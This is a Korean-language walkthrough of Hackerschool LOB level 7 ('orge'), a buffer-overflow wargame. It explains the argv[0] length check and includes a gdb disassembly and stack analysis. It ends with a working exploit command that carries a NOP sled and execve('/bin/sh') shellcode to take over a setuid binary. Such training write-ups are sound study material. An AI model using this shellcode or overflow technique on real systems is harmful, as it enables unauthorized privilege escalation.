본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level7

darkelf에 로그인하면 orge 와 orge.c가 존재한다. 소스코드는 다음과 같다.

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter 
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

argc가 2보다 작으면 종료되고, argv[0]의 길이가 77이 아니면 종료된다. argv[0]은 실행파일의 이름이 저장되어 있는 곳인데, 실행파일을 실행할 때 orge를 실행하면 ./orge 로 실행해야하기 때문에 argv[0]에는 "orge"가 아닌 "./orge"가 들어가서 길이는 6이 된다. argv[0]의 길이가 77이 되게 하는 방법은 두 가지가 있다.

  1. 파일의 이름을 75자로 짓고, "./"을 포함해서 77자가 되게끔 해야 한다.
  2. 실행 파일을 실행할 때 "./orge" 가 아닌 "./././././././././././ ...... ./orge"를 77자에 맞춰서 사용한다.

2번의 의미를 살펴보면, 실행파일을 실행할 때 ./orge로 실행하는데, "./"의 의미는 현재 디렉토리라는 뜻이다. 

ls -al을 출력해보면 디렉토리 중에 "."이라는 이름의 디렉토리가 존재하는데, 그 디렉토리가 현재 디렉토리이다. 이를 재귀적으로 사용해서 ././././././././././orge 로 사용하면, "현재 디렉토리에 있는 현재 디렉토리에 있는 현재 디렉토리에 있는 .... orge 실행파일 실행" 이라는 명령어가 된다. 이를 이용해서 길이를 75로 맞춰주어야 하는데, orge 4글자를 뺀 71자를 채워주는 방식으로 argv[0]의 길이를 늘려줄 수 있다.

 

파일의 이름을 바꾸어도 SetUID가 유지되어 있고, 소유자도 그대로 orge이길래, 파일 이름을 "A" 75자로 바꾸어주었다.

 

해당 if문을 통과하는지 확인해보기 위해 실행시켜보았다. 인자는 "AAAA"로 넘겨주었다.

 

정상적으로 실행되는 것을 볼 수있다. 다만, argv[1][47]이 "\xbf"가 아니여서 해당 if문에서 걸리게 된다. 이제 본격적으로 시작해보도록 한다. argv[0]의 길이를 확인하는 구문이 추가된 것 이외에는 이전 단계와 코드가 똑같기 때문에, argv[1]를 48바이트만 작성하고 argv[2]에 쉘 코드를 작성한 후, ret을 argv[2]의 시작 주소로 덮어주면 된다. gdb를 통해 주소를 확인해보았다.

 

(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048690
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048526 <main+38>:	mov    %edx,DWORD PTR [%eax]
0x8048528 <main+40>:	push   %edx
0x8048529 <main+41>:	call   0x80483f0 <strlen>
0x804852e <main+46>:	add    %esp,4
0x8048531 <main+49>:	mov    %eax,%eax
0x8048533 <main+51>:	cmp    %eax,77
0x8048536 <main+54>:	je     0x8048550 <main+80>
0x8048538 <main+56>:	push   0x804869c
---Type <return> to continue, or q <return> to quit---
0x804853d <main+61>:	call   0x8048410 <printf>
0x8048542 <main+66>:	add    %esp,4
0x8048545 <main+69>:	push   0
0x8048547 <main+71>:	call   0x8048420 <exit>
0x804854c <main+76>:	add    %esp,4
0x804854f <main+79>:	nop    
0x8048550 <main+80>:	nop    
0x8048551 <main+81>:	mov    DWORD PTR [%ebp-44],0x0
0x8048558 <main+88>:	mov    %eax,DWORD PTR [%ebp-44]
0x804855b <main+91>:	lea    %edx,[%eax*4]
0x8048562 <main+98>:	mov    %eax,%ds:0x80497d4
0x8048567 <main+103>:	cmp    DWORD PTR [%eax+%edx],0
0x804856b <main+107>:	jne    0x8048570 <main+112>
0x804856d <main+109>:	jmp    0x80485b0 <main+176>
0x804856f <main+111>:	nop    
0x8048570 <main+112>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048573 <main+115>:	lea    %edx,[%eax*4]
0x804857a <main+122>:	mov    %eax,%ds:0x80497d4
0x804857f <main+127>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048582 <main+130>:	push   %edx
0x8048583 <main+131>:	call   0x80483f0 <strlen>
---Type <return> to continue, or q <return> to quit---
0x8048588 <main+136>:	add    %esp,4
0x804858b <main+139>:	mov    %eax,%eax
0x804858d <main+141>:	push   %eax
0x804858e <main+142>:	push   0
0x8048590 <main+144>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048593 <main+147>:	lea    %edx,[%eax*4]
0x804859a <main+154>:	mov    %eax,%ds:0x80497d4
0x804859f <main+159>:	mov    %edx,DWORD PTR [%eax+%edx]
0x80485a2 <main+162>:	push   %edx
0x80485a3 <main+163>:	call   0x8048430 <memset>
0x80485a8 <main+168>:	add    %esp,12
0x80485ab <main+171>:	inc    DWORD PTR [%ebp-44]
0x80485ae <main+174>:	jmp    0x8048558 <main+88>
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	add    %edx,47
0x80485bb <main+187>:	cmp    BYTE PTR [%edx],0xbf
0x80485be <main+190>:	je     0x80485d7 <main+215>
0x80485c0 <main+192>:	push   0x80486ab
0x80485c5 <main+197>:	call   0x8048410 <printf>
---Type <return> to continue, or q <return> to quit---
0x80485ca <main+202>:	add    %esp,4
0x80485cd <main+205>:	push   0
0x80485cf <main+207>:	call   0x8048420 <exit>
0x80485d4 <main+212>:	add    %esp,4
0x80485d7 <main+215>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485da <main+218>:	add    %eax,4
0x80485dd <main+221>:	mov    %edx,DWORD PTR [%eax]
0x80485df <main+223>:	push   %edx
0x80485e0 <main+224>:	call   0x80483f0 <strlen>
0x80485e5 <main+229>:	add    %esp,4
0x80485e8 <main+232>:	mov    %eax,%eax
0x80485ea <main+234>:	cmp    %eax,48
0x80485ed <main+237>:	jbe    0x8048606 <main+262>
0x80485ef <main+239>:	push   0x80486c8
0x80485f4 <main+244>:	call   0x8048410 <printf>
0x80485f9 <main+249>:	add    %esp,4
0x80485fc <main+252>:	push   0
0x80485fe <main+254>:	call   0x8048420 <exit>
0x8048603 <main+259>:	add    %esp,4
0x8048606 <main+262>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048609 <main+265>:	add    %eax,4
---Type <return> to continue, or q <return> to quit---
0x804860c <main+268>:	mov    %edx,DWORD PTR [%eax]
0x804860e <main+270>:	push   %edx
0x804860f <main+271>:	lea    %eax,[%ebp-40]
0x8048612 <main+274>:	push   %eax
0x8048613 <main+275>:	call   0x8048440 <strcpy>
0x8048618 <main+280>:	add    %esp,8
0x804861b <main+283>:	lea    %eax,[%ebp-40]
0x804861e <main+286>:	push   %eax
0x804861f <main+287>:	push   0x80486df
0x8048624 <main+292>:	call   0x8048410 <printf>
0x8048629 <main+297>:	add    %esp,8
0x804862c <main+300>:	push   40
0x804862e <main+302>:	push   0
0x8048630 <main+304>:	lea    %eax,[%ebp-40]
0x8048633 <main+307>:	push   %eax
0x8048634 <main+308>:	call   0x8048430 <memset>
0x8048639 <main+313>:	add    %esp,12
0x804863c <main+316>:	leave  
0x804863d <main+317>:	ret    
0x804863e <main+318>:	nop    
0x804863f <main+319>:	nop    
---Type <return> to continue, or q <return> to quit---
End of assembler dump.

 

 

main+308 memset 함수에 중단점을 지정하고, argv[1], argv[2]에 각각 "\xbf"*48, "A"*48개를 넘겨서 실행시켜보았다. gdb에서는 해당 파일을 실행할 때 절대경로로 실행해서 ./AAAAA.... 가 아닌 /home/darkelf/AAAAA....로 실행하기 때문에, 이에 맞춰서 A의 길이를 바꾸어주었다.

 

0xbffffb94부터 보면, 0x41414141이 쭉 저장되다가 0xbffffbd2를 보면 0x00424141이 저장된 걸로 보아, 해당 부분이 argv[0]을 저장하는 곳이고 AAAAAA....AAB가 저장된 후 1바이트의 공백을 두고 그 뒤에 argv[1]과 argv[2]가 각각 저장된 걸 알 수 있다.

 

 

또한, argv[1]의 값을 buffer에 저장했을 때, ebp로부터 8바이트(sfp, ret)를 모두 "\xbf"로 덮은 것을 볼 수 있다. 공격 방법은 다음과 같다.

 

  1. argv[1]에 아무런 값 44바이트 + argv[2]의 시작 주소(0xbffffc06)를 인자로 넘겨줌.
  2. argv[2]는 적당한 길이의 "\x90"(NOP)과 쉘 코드를 인자로 넘겨줌.
  3. argv[0]이 77바이트가 되게끔 형식에 맞추어서 파일 실행.

위의 과정을 거쳐 코드를 작성하면 다음과 같다.

 

$ ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB `python -c 'print "A"*44 + "\x06\xfc\xff\xbf" + " " + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

해당 코드를 실행했더니, core dump가 일어나면서 현재 디렉토리에 core라는 파일이 생성되었다.

 

gdb -q AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB core

를 이용해 core의 내용을 살펴보았다.

warning: core file may not match specified executable file.
Core was generated by `/home/darkelf/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB A'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0xbfffffb8 in ?? ()

내용은 대충 11번 signal을 호출하고 Segmentation fault가 발생하였는데, 0xbfffffb8이라는 위치를 모르겠다는 오류가 발생한 것이다.

x/80x $esp를 통해 스택의 상황을 출력해보았다.

 

argv[0],argv[1], argv[2]의 값이 보이고, 아래로 쭉 내려가다 보면 대충 0xbfffffac쯤에 값이 저장되는 것을 볼 수 있다. ret에 이상한 주소가 들어가서 해당 위치로 이동한 후 값을 저장한 것으로 보인다. 해당 코드에서 argv[2]가 시작되는 부분인 0xbffffb68을 ret에 저장해주는 코드로 재실행하면 정상적으로 쉘이 실행된다. 이제 해당 코드를 복사 파일이 아닌 원본 파일에 적용시키면 된다.

 

my-pass를 이용해 비밀번호를 알아낸 후 orge로 로그인하면 된다.